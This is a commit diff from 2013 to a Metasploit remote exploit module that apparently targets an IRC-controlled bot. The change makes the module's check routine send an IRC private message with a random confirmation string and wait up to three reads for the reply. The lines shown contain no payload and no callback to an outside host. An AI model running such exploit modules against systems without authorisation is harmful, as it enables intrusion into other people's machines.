added a 3 message window for recieving the check response

unstable
bwall 2013-03-28 21:14:52 -04:00
parent ce9f11aeb3
commit 6cf44d9c85
1 changed files with 13 additions and 7 deletions

View File

@ -71,8 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
return Exploit::CheckCode::Unknown
end
confirm_string = rand_text_alpha(8)
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
print response
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n", ":#{datastore['RNICK']}")
quit(sock)
disconnect
@ -83,15 +82,22 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def send_msg(sock, data)
def send_msg(sock, data, startResponse = nil)
sock.put(data)
data = ""
count = 3
begin
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data << read_data
begin
read_data = sock.get_once(-1, 1)
end
while not read_data.nil?
data << read_data
read_data = sock.get_once(-1, 1)
end
if startResponse != nil and data.start_with?(startResponse)
startResponse = nil
end
count -= 1
end while startResponse == nil and count != 0
rescue EOFError
end
data